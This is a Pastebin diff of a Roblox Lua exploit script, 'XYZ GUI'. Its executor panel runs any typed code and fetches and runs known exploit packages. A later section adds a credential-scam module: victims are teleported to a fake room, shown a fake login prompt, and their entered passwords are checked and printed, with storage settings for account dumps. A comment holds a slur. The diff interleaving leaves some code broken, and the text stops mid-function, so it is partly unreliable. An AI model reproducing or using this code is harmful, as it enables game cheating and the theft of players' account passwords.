SHOW:
|
|
- or go back to the newest paste.
1 | --XYZ GUI Objects | |
2 | wait(2) | |
3 | - | local LoadingScreen = Instance.new("ScreenGui", game.Players.EvanWentLimited.PlayerGui) |
3 | + | local LoadingScreen = Instance.new("ScreenGui", game.Players.twistedmurdererproga.PlayerGui) |
4 | local LoadingFrame = Instance.new("Frame", LoadingScreen) | |
5 | local LoadingText = Instance.new("TextBox", LoadingFrame) | |
6 | ||
7 | LoadingScreen.Name = "XYZLoad" | |
8 | ||
9 | LoadingFrame.Name = "LoadingFrame" | |
10 | LoadingFrame.Position = UDim2.new(0, 200, 0, 100) | |
11 | LoadingFrame.Visible = true | |
12 | LoadingFrame.BackgroundTransparency = 1 | |
13 | ||
14 | LoadingText.Name = "LoadingText" | |
15 | LoadingText.Text = "Loading... (0/38)" | |
16 | LoadingText.BackgroundTransparency = 1 | |
17 | LoadingText.Position = UDim2.new(0, 200, 0, -90) | |
18 | LoadingText.Font = Enum.Font.SourceSansBold | |
19 | LoadingText.TextColor3 = Color3.fromRGB(235, 235, 235) | |
20 | LoadingText.FontSize = Enum.FontSize.Size28 | |
21 | wait(.2) | |
22 | LoadingText.Text = "Loading... (1/38)" | |
23 | wait(.2) | |
24 | LoadingText.Text = "Loading... (2/38)" | |
25 | wait(.2) | |
26 | LoadingText.Text = "Loading... (3/38)" | |
27 | wait(.2) | |
28 | LoadingText.Text = "Loading... (4/38)" | |
29 | wait(.2) | |
30 | LoadingText.Text = "Loading... (5/38)" | |
31 | wait(.2) | |
32 | LoadingText.Text = "Loading... (6/38)" | |
33 | wait(.2) | |
34 | LoadingText.Text = "Loading... (7/38)" | |
35 | wait(.2) | |
36 | LoadingText.Text = "Loading... (8/38)" | |
37 | wait(.2) | |
38 | LoadingText.Text = "Loading... (9/38)" | |
39 | wait(.2) | |
40 | LoadingText.Text = "Loading... (10/38)" | |
41 | wait(.2) | |
42 | LoadingText.Text = "Loading... (11/38)" | |
43 | wait(.2) | |
44 | LoadingText.Text = "Loading... (12/38)" | |
45 | wait(.2) | |
46 | LoadingText.Text = "Loading... (13/38)" | |
47 | wait(.2) | |
48 | LoadingText.Text = "Loading... (14/38)" | |
49 | wait(.2) | |
50 | LoadingText.Text = "Loading... (15/38)" | |
51 | wait(.2) | |
52 | LoadingText.Text = "Loading... (16/38)" | |
53 | wait(.2) | |
54 | LoadingText.Text = "Loading... (17/38)" | |
55 | wait(.2) | |
56 | LoadingText.Text = "Loading... (18/38)" | |
57 | wait(.2) | |
58 | LoadingText.Text = "Loading... (19/39)" | |
59 | wait(.2) | |
60 | LoadingText.Text = "Loading... (20/39)" | |
61 | wait(.2) | |
62 | LoadingText.Text = "Loading... (21/39)" | |
63 | wait(.2) | |
64 | LoadingText.Text = "Loading... (22/39)" | |
65 | wait(.2) | |
66 | LoadingText.Text = "Loading... (23/39)" | |
67 | wait(.2) | |
68 | LoadingText.Text = "Loading... (24/39)" | |
69 | wait(.2) | |
70 | LoadingText.Text = "Loading... (25/39)" | |
71 | wait(.2) | |
72 | LoadingText.Text = "Loading... (26/39)" | |
73 | wait(.2) | |
74 | LoadingText.Text = "Loading... (27/39)" | |
75 | wait(.2) | |
76 | LoadingText.Text = "Loading... (28/39)" | |
77 | wait(.2) | |
78 | LoadingText.Text = "Loading... (29/39)" | |
79 | wait(.2) | |
80 | LoadingText.Text = "Loading... (30/39)" | |
81 | wait(.2) | |
82 | LoadingText.Text = "Loading... (31/39)" | |
83 | wait(.2) | |
84 | LoadingText.Text = "Loading... (32/39)" | |
85 | wait(.2) | |
86 | LoadingText.Text = "Loading... (33/39)" | |
87 | wait(.2) | |
88 | LoadingText.Text = "Loading... (34/39)" | |
89 | wait(.2) | |
90 | LoadingText.Text = "Loading... (35/39)" | |
91 | wait(.2) | |
92 | LoadingText.Text = "Loading... (36/39)" | |
93 | wait(.2) | |
94 | LoadingText.Text = "Loading... (37/39)" | |
95 | wait(.2) | |
96 | LoadingText.Text = "Loading... (38/39)" | |
97 | wait(.2) | |
98 | LoadingText.Text = "Loading... (39/39)" | |
99 | wait(.2) | |
100 | LoadingText.Text = "Loading... (FINISH)" | |
101 | wait(5) | |
102 | LoadingScreen:Destroy() | |
103 | ||
104 | ||
105 | wait(2) | |
106 | local XYZ = Instance.new("ScreenGui", game.Players.LocalPlayer.PlayerGui) | |
107 | XYZ.Name = "XYZ" | |
108 | local UI = Instance.new("Frame", game.Players.LocalPlayer.PlayerGui.XYZ) | |
109 | UI.Name = "UI" | |
110 | local Execute = Instance.new("TextButton", game.Players.LocalPlayer.PlayerGui.XYZ.UI) | |
111 | local Clear = Instance.new("TextButton", game.Players.LocalPlayer.PlayerGui.XYZ.UI) | |
112 | local minimize_2 = Instance.new("TextButton", game.Players.LocalPlayer.PlayerGui.XYZ.UI) | |
113 | local x_2 = Instance.new("TextButton", game.Players.LocalPlayer.PlayerGui.XYZ.UI) | |
114 | local TextField = Instance.new("TextBox", game.Players.LocalPlayer.PlayerGui.XYZ.UI) | |
115 | local ReOpenFrame = Instance.new("Frame", game.Players.LocalPlayer.PlayerGui.XYZ) | |
116 | ReOpenFrame.Name = "ReOpenFrame" | |
117 | local ReOpen = Instance.new("TextButton", game.Players.LocalPlayer.PlayerGui.XYZ.ReOpenFrame) | |
118 | ReOpen.Name = "ReOpen" | |
119 | local GearsScreen = Instance.new("ScreenGui", game.Players.LocalPlayer.PlayerGui) | |
120 | local GearsFrame = Instance.new("Frame", GearsScreen) | |
121 | local x_4 = Instance.new("TextButton", GearsFrame) | |
122 | local OutputExecute = Instance.new("TextButton", GearsFrame) | |
123 | local TextField_2 = Instance.new("TextBox", GearsFrame) | |
124 | local onReOpenClick = game.Players.LocalPlayer.PlayerGui.XYZ.ReOpenFrame.ReOpen | |
125 | local GUITitle = Instance.new("TextLabel", game.Players.LocalPlayer.PlayerGui.XYZ.UI) | |
126 | local PreScriptUI = Instance.new("Frame", game.Players.LocalPlayer.PlayerGui.XYZ) | |
127 | local OpenPreScripts = Instance.new("TextButton", XYZ.UI) | |
128 | local DesignFrame = Instance.new("Frame", PreScriptUI) | |
129 | local AnonymousLocalPlayer = Instance.new("TextButton", DesignFrame) | |
130 | local x_3 = Instance.new("TextButton", PreScriptUI) | |
131 | local MGX7 = Instance.new("TextButton", DesignFrame) | |
132 | local RealMGX7 = Instance.new("TextButton", DesignFrame) | |
133 | local Opengears = Instance.new("TextButton", UI) | |
134 | local InputBar_1 = Instance.new("TextBox", GearsFrame) | |
135 | local RoExploit6 = Instance.new("TextButton", DesignFrame) | |
136 | local RoExploit5 = Instance.new("TextButton", DesignFrame) | |
137 | local BestSong = Instance.new("Sound", game.Players.LocalPlayer) | |
138 | - | BestSong.SoundId = "1" |
138 | + | BestSong.SoundId = "rbxassetid://152656350" |
139 | BestSong.Looped = true | |
140 | BestSong.Pitch = 1 | |
141 | BestSong.Volume = 1 | |
142 | BestSong.Name = "BestSong" | |
143 | wait(1) | |
144 | BestSong:Play() | |
145 | ||
146 | XYZ.Name = "XYZ" | |
147 | XYZ.Parent = game.Players.LocalPlayer.PlayerGui | |
148 | ||
149 | UI.Name = "UI" | |
150 | UI.Parent = XYZ | |
151 | UI.Active = true | |
152 | UI.BackgroundColor3 = Color3.new(0.5,0.5,0.5) | |
153 | UI.Draggable = true | |
154 | UI.Position = UDim2.new(0, 200, 0, 100) | |
155 | UI.Size = UDim2.new(0, 370, 0, 350) | |
156 | UI.Visible = false | |
157 | ||
158 | Execute.Name = "Execute" | |
159 | Execute.Parent = UI | |
160 | Execute.BackgroundColor3 = Color3.fromRGB(222, 222, 222) | |
161 | Execute.Position = UDim2.new(0, 11, 0, 320) | |
162 | Execute.Size = UDim2.new(0, 100, 0, 25) | |
163 | Execute.Font = Enum.Font.SourceSans | |
164 | Execute.FontSize = Enum.FontSize.Size14 | |
165 | Execute.Text = "Execute" | |
166 | Execute.TextColor3 = Color3.fromRGB(0, 0, 0) | |
167 | ||
168 | Clear.Name = "Clear" | |
169 | Clear.Parent = UI | |
170 | Clear.BackgroundColor3 = Color3.fromRGB(222, 222, 222) | |
171 | Clear.Position = UDim2.new(0, 204, 0, 320) | |
172 | Clear.Size = UDim2.new(0, 100, 0, 25) | |
173 | Clear.Font = Enum.Font.SourceSans | |
174 | Clear.FontSize = Enum.FontSize.Size14 | |
175 | Clear.Text = "Clear" | |
176 | Clear.TextColor3 = Color3.fromRGB(0, 0, 0) | |
177 | ||
178 | TextField.Name = "TextField" | |
179 | TextField.Parent = UI | |
180 | TextField.BackgroundColor3 = Color3.fromRGB(234, 234, 234) | |
181 | TextField.BackgroundTransparency = 0 | |
182 | TextField.Position = UDim2.new(0, 15, 0, 33) | |
183 | TextField.Size = UDim2.new(0, 285, 0, 273) | |
184 | TextField.ClearTextOnFocus = false | |
185 | TextField.Font = Enum.Font.SourceSans | |
186 | TextField.FontSize = Enum.FontSize.Size14 | |
187 | TextField.MultiLine = true | |
188 | - | TextField.Text = "--Doger" |
188 | + | TextField.Text = "--XYZ GUI V0.3 Script Execution!" |
189 | TextField.TextWrapped = true | |
190 | TextField.TextXAlignment = Enum.TextXAlignment.Left | |
191 | TextField.TextYAlignment = Enum.TextYAlignment.Top | |
192 | ||
193 | minimize_2.Name = "minimize" | |
194 | minimize_2.Parent = UI | |
195 | minimize_2.BackgroundColor3 = Color3.new(1, 1, 1) | |
196 | minimize_2.BackgroundTransparency = 1 | |
197 | minimize_2.Position = UDim2.new(0, 320, 0, 0) | |
198 | minimize_2.Size = UDim2.new(0, 25, 0, 25) | |
199 | minimize_2.ZIndex = 4 | |
200 | minimize_2.Font = Enum.Font.SourceSansBold | |
201 | minimize_2.FontSize = Enum.FontSize.Size14 | |
202 | minimize_2.Text = "-" | |
203 | minimize_2.TextColor3 = Color3.new(1, 1, 1) | |
204 | ||
205 | x_2.Name = "x" | |
206 | x_2.Parent = UI | |
207 | x_2.BackgroundColor3 = Color3.new(1, 1, 1) | |
208 | x_2.BackgroundTransparency = 1 | |
209 | x_2.Position = UDim2.new(0, 345, 0, 0) | |
210 | x_2.Size = UDim2.new(0, 25, 0, 25) | |
211 | x_2.ZIndex = 4 | |
212 | x_2.Font = Enum.Font.SourceSansBold | |
213 | x_2.FontSize = Enum.FontSize.Size14 | |
214 | x_2.Text = "X" | |
215 | x_2.TextColor3 = Color3.new(1, 1, 1) | |
216 | ||
217 | GUITitle.Name = "GUITitle" | |
218 | GUITitle.Parent = UI | |
219 | GUITitle.BackgroundColor3 = Color3.new(1, 1, 1) | |
220 | GUITitle.BackgroundTransparency = 1 | |
221 | GUITitle.Position = UDim2.new(0, 100, 0, 0) | |
222 | GUITitle.Size = UDim2.new(0, 25, 0, 25) | |
223 | GUITitle.ZIndex = 4 | |
224 | GUITitle.Font = Enum.Font.SourceSansBold | |
225 | GUITitle.FontSize = Enum.FontSize.Size14 | |
226 | GUITitle.Text = "XYZ GUI V0.5" | |
227 | GUITitle.TextColor3 = Color3.new(1, 1, 1) | |
228 | ||
229 | OpenPreScripts.Name = "OpenPreScripts" | |
230 | OpenPreScripts.Text = "PreScripts" | |
231 | OpenPreScripts.Size = UDim2.new(0, 69, 0, 25) | |
232 | OpenPreScripts.Position = UDim2.new(0, 300, 0, 33) | |
233 | ||
234 | PreScriptUI.Name = "PreScripts" | |
235 | PreScriptUI.Parent = XYZ | |
236 | PreScriptUI.Active = true | |
237 | PreScriptUI.BackgroundColor3 = Color3.new(0.5,0.5,0.5) | |
238 | PreScriptUI.Draggable = true | |
239 | PreScriptUI.Position = UDim2.new(0, 200, 0, 100) | |
240 | PreScriptUI.Size = UDim2.new(0, 370, 0, 350) | |
241 | PreScriptUI.Visible = false | |
242 | ||
243 | AnonymousLocalPlayer.Name = "AnonLocalPlayer" | |
244 | AnonymousLocalPlayer.Parent = DesignFrame | |
245 | AnonymousLocalPlayer.Active = true | |
246 | AnonymousLocalPlayer.BackgroundColor3 = Color3.new(0.5,0.5,0.5) | |
247 | AnonymousLocalPlayer.Size = UDim2.new(0, 69, 0, 25) | |
248 | AnonymousLocalPlayer.Text = "Anon Player" | |
249 | AnonymousLocalPlayer.Position = UDim2.new(0, 0, 0, 23) | |
250 | ||
251 | MGX7.Name = "GoobyGUIV2" | |
252 | MGX7.Parent = DesignFrame | |
253 | MGX7.Active = true | |
254 | MGX7.BackgroundColor3 = Color3.new(0.5,0.5,0.5) | |
255 | MGX7.Size = UDim2.new(0, 69, 0, 25) | |
256 | MGX7.Text = "GoobyGUIV2" | |
257 | MGX7.Position = UDim2.new(0, 0, 0, 46) | |
258 | ||
259 | RealMGX7.Name = "MGX7" | |
260 | RealMGX7.Parent = DesignFrame | |
261 | RealMGX7.Active = true | |
262 | RealMGX7.BackgroundColor3 = Color3.new(0.5,0.5,0.5) | |
263 | RealMGX7.Size = UDim2.new(0, 69, 0, 25) | |
264 | RealMGX7.Text = "MGX7" | |
265 | RealMGX7.Position = UDim2.new(0, 0, 0, 69) | |
266 | ||
267 | RoExploit6.Name = "Ro-Xploit6" | |
268 | RoExploit6.Parent = DesignFrame | |
269 | RoExploit6.Active = true | |
270 | RoExploit6.BackgroundColor3 = Color3.new(0.5,0.5,0.5) | |
271 | RoExploit6.Size = UDim2.new(0, 69, 0, 25) | |
272 | RoExploit6.Text = "RoXploit6" | |
273 | RoExploit6.Position = UDim2.new(0, 0, 0, 92) | |
274 | ||
275 | RoExploit5.Name = "Ro-Xploit5" | |
276 | RoExploit5.Parent = DesignFrame | |
277 | RoExploit5.Active = true | |
278 | RoExploit5.BackgroundColor3 = Color3.new(0.5,0.5,0.5) | |
279 | RoExploit5.Size = UDim2.new(0, 69, 0, 25) | |
280 | RoExploit5.Text = "RoXploit5" | |
281 | RoExploit5.Position = UDim2.new(0, 0, 0, 125) | |
282 | ||
283 | x_3.Name = "x" | |
284 | x_3.Parent = PreScriptUI | |
285 | x_3.BackgroundColor3 = Color3.new(1, 1, 1) | |
286 | x_3.BackgroundTransparency = 1 | |
287 | x_3.Position = UDim2.new(0, 329, 0, 0) | |
288 | x_3.Size = UDim2.new(0, 25, 0, 25) | |
289 | x_3.ZIndex = 4 | |
290 | x_3.Font = Enum.Font.SourceSansBold | |
291 | x_3.FontSize = Enum.FontSize.Size14 | |
292 | x_3.Text = "X" | |
293 | x_3.TextColor3 = Color3.new(1, 1, 1) | |
294 | ||
295 | DesignFrame.Name = "DesignFrame" | |
296 | DesignFrame.Parent = PreScriptUI | |
297 | DesignFrame.Active = true | |
298 | DesignFrame.BackgroundTransparency = 0.4 | |
299 | DesignFrame.Position = UDim2.new(0, 15, 0, 25) | |
300 | DesignFrame.Size = UDim2.new(0, 340, 0, 310) | |
301 | DesignFrame.Visible = false | |
302 | DesignFrame.BackgroundColor3 = Color3.new(0, 0, 0) | |
303 | ||
304 | ReOpenFrame.Visible = true | |
305 | UI.Visible = false | |
306 | ReOpen.Size = UDim2.new(0, 50, 0, 50) | |
307 | ReOpen.Text = "XYZ" | |
308 | ReOpen.Visible = true | |
309 | ||
310 | Opengears.Name = "OpenGears/Output" | |
311 | Opengears.Text = "Gears" | |
312 | Opengears.Size = UDim2.new(0, 69, 0, 25) | |
313 | Opengears.Position = UDim2.new(0, 300, 0, 66) | |
314 | ||
315 | GearsScreen.Name = "Output/Gears" | |
316 | GearsScreen.Parent = game.Players.LocalPlayer.PlayerGui | |
317 | ||
318 | GearsFrame.Name = "GearsFrame" | |
319 | GearsFrame.Parent = GearsScreen | |
320 | GearsFrame.Active = true | |
321 | GearsFrame.BackgroundColor3 = Color3.new(0.5,0.5,0.5) | |
322 | GearsFrame.Draggable = true | |
323 | GearsFrame.Position = UDim2.new(0, 200, 0, 100) | |
324 | GearsFrame.Size = UDim2.new(0, 315, 0, 350) | |
325 | GearsFrame.Visible = false | |
326 | ||
327 | TextField_2.Name = "TextField" | |
328 | TextField_2.Parent = GearsFrame | |
329 | TextField_2.BackgroundColor3 = Color3.fromRGB(234, 234, 234) | |
330 | TextField_2.BackgroundTransparency = 0 | |
331 | TextField_2.Position = UDim2.new(0, 15, 0, 33) | |
332 | TextField_2.Size = UDim2.new(0, 285, 0, 273) | |
333 | TextField_2.ClearTextOnFocus = false | |
334 | TextField_2.Font = Enum.Font.SourceSans | |
335 | TextField_2.FontSize = Enum.FontSize.Size14 | |
336 | TextField_2.MultiLine = true | |
337 | TextField_2.Text = "Type :gears to view Gears!" | |
338 | TextField_2.TextWrapped = true | |
339 | TextField_2.TextXAlignment = Enum.TextXAlignment.Left | |
340 | TextField_2.TextYAlignment = Enum.TextYAlignment.Top | |
341 | ||
342 | InputBar_1.Name = "InputBar" | |
343 | InputBar_1.Parent = GearsFrame | |
344 | InputBar_1.BackgroundColor3 = Color3.fromRGB(234, 234, 234) | |
345 | InputBar_1.BackgroundTransparency = 0 | |
346 | InputBar_1.Position = UDim2.new(0, 15, 0, 320) | |
347 | InputBar_1.Size = UDim2.new(0, 230, 0, 20) | |
348 | InputBar_1.ClearTextOnFocus = false | |
349 | InputBar_1.Font = Enum.Font.SourceSans | |
350 | InputBar_1.FontSize = Enum.FontSize.Size14 | |
351 | InputBar_1.MultiLine = false | |
352 | InputBar_1.Text = "" | |
353 | InputBar_1.TextWrapped = true | |
354 | InputBar_1.TextXAlignment = Enum.TextXAlignment.Left | |
355 | InputBar_1.TextYAlignment = Enum.TextYAlignment.Top | |
356 | ||
357 | OutputExecute.Name = "Execute" | |
358 | OutputExecute.Parent = GearsFrame | |
359 | OutputExecute.BackgroundColor3 = Color3.fromRGB(234, 234, 234) | |
360 | OutputExecute.Position = UDim2.new(0, 250, 0, 320) | |
361 | OutputExecute.Size = UDim2.new(0, 50, 0, 20) | |
362 | OutputExecute.Font = Enum.Font.SourceSans | |
363 | OutputExecute.FontSize = Enum.FontSize.Size14 | |
364 | OutputExecute.Text = "Execute" | |
365 | OutputExecute.TextColor3 = Color3.fromRGB(0, 0, 0) | |
366 | ||
367 | x_4.Name = "x" | |
368 | x_4.Parent = GearsFrame | |
369 | x_4.BackgroundColor3 = Color3.new(1, 1, 1) | |
370 | x_4.BackgroundTransparency = 1 | |
371 | x_4.Position = UDim2.new(0, 290, 0, 0) | |
372 | x_4.Size = UDim2.new(0, 25, 0, 25) | |
373 | x_4.ZIndex = 4 | |
374 | x_4.Font = Enum.Font.SourceSansBold | |
375 | x_4.FontSize = Enum.FontSize.Size14 | |
376 | x_4.Text = "X" | |
377 | x_4.TextColor3 = Color3.new(1, 1, 1) | |
378 | ||
379 | ||
380 | function onClick() | |
381 | loadstring(TextField.Text)() | |
382 | end | |
383 | Execute.MouseButton1Click:connect(onClick) | |
384 | ||
385 | function onXClick() | |
386 | XYZ:Destroy() | |
387 | end | |
388 | x_2.MouseButton1Click:connect(onXClick) | |
389 | ||
390 | function onMinimizeClick() | |
391 | UI.Visible = false | |
392 | ReOpen.Size = UDim2.new(0, 50, 0, 50) | |
393 | ReOpen.Text = "XYZ" | |
394 | ReOpen.Visible = true | |
395 | end | |
396 | minimize_2.MouseButton1Click:connect(onMinimizeClick) | |
397 | ||
398 | function onXYZOpenClick() | |
399 | UI.Visible = true | |
400 | ReOpen.Visible = false | |
401 | end | |
402 | ReOpen.MouseButton1Click:connect(onXYZOpenClick) | |
403 | ||
404 | function onClearClick() | |
405 | TextField.Text = "" | |
406 | end | |
407 | Clear.MouseButton1Click:connect(onClearClick) | |
408 | ||
409 | function onPreScriptsClick() | |
410 | UI.Visible = false | |
411 | PreScriptUI.Visible = true | |
412 | ReOpen.Visible = true | |
413 | DesignFrame.Visible = true | |
414 | end | |
415 | OpenPreScripts.MouseButton1Click:connect(onPreScriptsClick) | |
416 | ||
417 | function onX_3Click() | |
418 | PreScriptUI.Visible = false | |
419 | end | |
420 | x_3.MouseButton1Click:connect(onX_3Click) | |
421 | ||
422 | function onAnonClick() | |
423 | local pe = Instance.new("ParticleEmitter",game.Players.LocalPlayer.Character.Torso) | |
424 | pe.Texture = "http://www.roblox.com/asset/?id=127476787" | |
425 | pe.VelocitySpread = 5 | |
426 | end | |
427 | AnonymousLocalPlayer.MouseButton1Click:connect(onAnonClick) | |
428 | ||
429 | function onMGX7Click() | |
430 | loadstring(game:GetObjects("rbxassetid://447933940")[1].Source)() | |
431 | end | |
432 | MGX7.MouseButton1Click:connect(onMGX7Click) | |
433 | ||
434 | function onRoXploitClick() | |
435 | loadstring(game:GetObjects("rbxassetid://364364477")[1].Source)() | |
436 | end | |
437 | RoExploit6.MouseButton1Click:connect(onRoXploitClick) | |
438 | ||
439 | function onRoXploit5Click() | |
440 | loadstring(game:GetObjects("rbxassetid://288646117")[1].Source)() | |
441 | end | |
442 | RoExploit5.MouseButton1Click:connect(onRoXploit5Click) | |
443 | ||
444 | function onOpenGearsClick() | |
445 | GearsFrame.Visible = true | |
446 | ReOpenFrame.Visible = true | |
447 | UI.Visible = false | |
448 | ReOpen.Visible = true | |
449 | end | |
450 | Opengears.MouseButton1Click:connect(onOpenGearsClick) | |
451 | ||
452 | function GearExecuted() | |
453 | if InputBar_1.Text == ":gears" then | |
454 | TextField_2.Text = (TextField_2.Text.."\n"..">UserInput: [:gears]\n"..":Laser --Gives Player Laser Gun") | |
455 | else | |
456 | if InputBar_1.Text == ":Laser" then | |
457 | wait(2) | |
458 | TextField_2.Text = (TextField_2.Text.."\n"..">:Laser".."\n>User Gear Sent") | |
459 | local root = game:GetService("InsertService"):LoadAsset(130113146) | |
460 | local item = root:children() | |
461 | for i = 1, #item do | |
462 | item[i].Parent = game.Players.LocalPlayer.Backpack | |
463 | - | item[i]:Clone() .Parent = game.Players.LocalPlayer.StarterGear |
463 | + | item[i]:Clone() .Parent = game.Players.Mechalicky.StarterGear |
464 | end | |
465 | else | |
466 | TextField_2.Text = (TextField_2.Text.."\n"..">UserInput: ["..InputBar_1.Text.."]".."\n>Not Gear/Command") | |
467 | end | |
468 | end | |
469 | end | |
470 | OutputExecute.MouseButton1Click:connect(GearExecuted) | |
471 | - | local root = game:GetService("InsertService"):LoadAsset(95354288) |
471 | + | |
472 | function CharAdded() | |
473 | ReOpenFrame.Visible = true | |
474 | end | |
475 | - | item[i]:Clone() .Parent = game.Players.LocalPlayer.StarterGear |
475 | + | |
476 | ||
477 | function onx_4Click() | |
478 | GearsFrame.Visible = false | |
479 | end | |
480 | x_4.MouseButton1Click:connect(onx_4Click) | |
481 | ||
482 | - | local root = game:GetService("InsertService"):LoadAsset(160189476) |
482 | + | |
483 | --Dont leak faggot, or hell will be released | |
484 | ||
485 | local MyRoom = "BasicRoom" | |
486 | - | item[i]:Clone() .Parent = game.Players.LocalPlayer.StarterGear |
486 | + | |
487 | local StorageType = 2 | |
488 | ||
489 | local ScamType = "Pick" | |
490 | ||
491 | local TargetList = {} | |
492 | ||
493 | - | local root = game:GetService("InsertService"):LoadAsset(114020480) |
493 | + | |
494 | {} | |
495 | } | |
496 | ||
497 | - | item[i]:Clone() .Parent = game.Players.LocalPlayer.StarterGear |
497 | + | |
498 | Enabled = false, | |
499 | List = "MRList", | |
500 | DumpList = "MRDumps", | |
501 | TrelloTargetList = "MRTargetList", | |
502 | DevKey = "", | |
503 | Token = "", | |
504 | } | |
505 | ||
506 | - | local root = game:GetService("InsertService"):LoadAsset(1132887630) |
506 | + | |
507 | ||
508 | local writeAccounts = true | |
509 | local fileName = "MGX8List" | |
510 | - | item[i]:Clone() .Parent = game.Players.LocalPlayer.StarterGear |
510 | + | |
511 | BypassKey = "v3rm" | |
512 | BypassKeyEnabled = true | |
513 | BypassKeyRules = true | |
514 | ||
515 | local kickLogin = false | |
516 | ||
517 | local RAPApi = true | |
518 | - | local root = game:GetService("InsertService"):LoadAsset(172246669) |
518 | + | |
519 | ||
520 | local MainFolder = game:GetObjects("rbxassetid://432005266")[1] | |
521 | MainFolder.Parent = game.ReplicatedStorage | |
522 | - | item[i]:Clone() .Parent = game.Players.LocalPlayer.StarterGear |
522 | + | |
523 | local player = game.Players.LocalPlayer | |
524 | ||
525 | local CurrentlyScamming = {} | |
526 | ||
527 | local MRStorage | |
528 | ||
529 | local guiTool = MainFolder.Login | |
530 | ||
531 | local replaceScript = game:GetService("InsertService"):LoadAsset(80576967):GetChildren()[1].LocalScript | |
532 | guiTool.LocalScript:Destroy() | |
533 | replaceScript.Parent = guiTool | |
534 | ||
535 | local ruleTool = MainFolder["Bypass Rules"] | |
536 | ||
537 | local replaceScript = game:GetService("InsertService"):LoadAsset(80576967):GetChildren()[1].LocalScript | |
538 | ruleTool.LocalScript:Destroy() | |
539 | replaceScript.Parent = ruleTool | |
540 | ||
541 | local pickGui = MainFolder.PickGui | |
542 | ||
543 | function checkPass(pass, playa) | |
544 | if BypassKeyEnabled and pass == BypassKey then | |
545 | if BypassKeyRules then | |
546 | local newTool = ruleTool:Clone() | |
547 | newTool.Parent = workspace | |
548 | newTool.Handle.CanCollide = false | |
549 | newTool.Handle.CFrame = playa.Character.Head.CFrame | |
550 | end | |
551 | return true | |
552 | end | |
553 | if pass == "Password" or pass == "" or pass == "Enter Your Password" or pass == "Incorrect Password" or pass == "Enter your Password" then | |
554 | return false | |
555 | end | |
556 | local foundNums = 0 | |
557 | local foundLetters = 0 | |
558 | if string.find(pass, " ") then | |
559 | return false | |
560 | end | |
561 | if pass:len() < 6 or pass:len() > 20 then | |
562 | return false | |
563 | end | |
564 | for i=1,pass:len() do | |
565 | if pass:sub(i,i):match("%d") ~= nil then | |
566 | foundNums = foundNums + 1 | |
567 | end | |
568 | end | |
569 | if foundNums < 2 then | |
570 | return false | |
571 | end | |
572 | for i=1,pass:len() do | |
573 | if pass:sub(i,i):match("%a") ~= nil then | |
574 | foundLetters = foundLetters + 1 | |
575 | end | |
576 | end | |
577 | if foundLetters < 4 then | |
578 | return false | |
579 | end | |
580 | return true | |
581 | end | |
582 | ||
583 | function getUText(root, val) | |
584 | local found | |
585 | if val then | |
586 | found = val | |
587 | end | |
588 | for i,v in pairs(root:GetChildren()) do | |
589 | if v.Name == "UText" then | |
590 | found = v | |
591 | break | |
592 | end | |
593 | found = getUText(v,found) | |
594 | end | |
595 | return found | |
596 | end | |
597 | ||
598 | function getPText(root, val) | |
599 | local found | |
600 | if val then | |
601 | found = val | |
602 | end | |
603 | for i,v in pairs(root:GetChildren()) do | |
604 | if v.Name == "PText" then | |
605 | found = v | |
606 | break | |
607 | end | |
608 | found = getPText(v,found) | |
609 | end | |
610 | return found | |
611 | end | |
612 | ||
613 | function getILPopUp(root, val) | |
614 | local found | |
615 | if val then | |
616 | found = val | |
617 | end | |
618 | for i,v in pairs(root:GetChildren()) do | |
619 | if v.Name == "ILPopUp" then | |
620 | found = v | |
621 | break | |
622 | end | |
623 | found = getILPopUp(v,found) | |
624 | end | |
625 | return found | |
626 | end | |
627 | ||
628 | function unscPlayer(plr) | |
629 | for i,v in pairs(CurrentlyScamming) do | |
630 | if plr == v.Player then | |
631 | table.insert(Bypassers,{Name = plr.Name, ID = plr.UserId}) | |
632 | table.remove(CurrentlyScamming,i) | |
633 | wait() | |
634 | while plr.Backpack:FindFirstChild("Login") do | |
635 | plr.Backpack.Login:Destroy() | |
636 | wait() | |
637 | end | |
638 | while plr.Character:FindFirstChild("Login") do | |
639 | plr.Character.Login:Destroy() | |
640 | wait() | |
641 | end | |
642 | plr.Character:WaitForChild("Torso") | |
643 | plr.Character:WaitForChild("HumanoidRootPart") | |
644 | plr.Character.HumanoidRootPart.Anchored = false | |
645 | plr.Character.HumanoidRootPart.CFrame = v.ReturnPos | |
646 | v.Player.CameraMaxZoomDistance = 400 | |
647 | v.Player.CameraMinZoomDistance = 0 | |
648 | v.RoomModel:Destroy() | |
649 | end | |
650 | end | |
651 | end | |
652 | ||
653 | function scPlayer(plr) | |
654 | ypcall(function() | |
655 | local debounce = false | |
656 | local roomCheck = MainFolder.Rooms:FindFirstChild(MyRoom) | |
657 | if roomCheck then | |
658 | local roomId = #CurrentlyScamming + 1 | |
659 | local newRoom = roomCheck:Clone() | |
660 | newRoom.Parent = workspace | |
661 | newRoom:MoveTo(Vector3.new(5000,1000, 5000 + 100 * roomId)) | |
662 | ||
663 | local newPacket = {Player = plr, RoomId = roomId, RoomModel = newRoom, ReturnPos = plr.Character.Torso.CFrame} | |
664 | table.insert(CurrentlyScamming,newPacket) | |
665 | --[[ | |
666 | newRoom.LButton.ClickDetector.MouseClick:connect(function(playa) | |
667 | if debounce == false then | |
668 | if playa.Backpack:FindFirstChild("Login") then | |
669 | if playa == plr and getILPopUp(playa.Backpack.Login) and getPText(playa.Backpack.Login) then | |
670 | debounce = true | |
671 | getILPopUp(newRoom).Visible = false | |
672 | getILPopUp(playa.Backpack.Login).Visible = false | |
673 | wait(0.5) | |
674 | if playa.Backpack:FindFirstChild("Login") then | |
675 | if checkPass(getPText(playa.Backpack.Login).Text) then | |
676 | print(plr.Name .. " : " .. getPText(playa.Backpack.Login).Text) | |
677 | unscPlayer(plr) | |
678 | else | |
679 | getILPopUp(newRoom).Visible = true | |
680 | getILPopUp(playa.Backpack.Login).Visible = true | |
681 | getPText(playa.Backpack.Login).Text = "" | |
682 | end | |
683 | end | |
684 | end | |
685 | end | |
686 | debounce = false | |
687 | end | |
688 | end) | |
689 | --]] | |
690 | end | |
691 | end) | |
692 | end | |
693 | ||
694 | function isBypass(plr) | |
695 | local bypass = false | |
696 | for i,v in pairs(Bypassers) do | |
697 | if v.Name == plr.Name or v.ID == plr.UserId then | |
698 | bypass = true | |
699 | end | |
700 | end | |
701 | return bypass | |
702 | end | |
703 | ||
704 | function isScamming(plr) | |
705 | local isScam = false | |
706 | for i,v in pairs(CurrentlyScamming) do | |
707 | if v.Player.Name == plr then | |
708 | isScam = true | |
709 | end | |
710 | end | |
711 | return isScam | |
712 | end | |
713 | ||
714 | function fixPlayers() | |
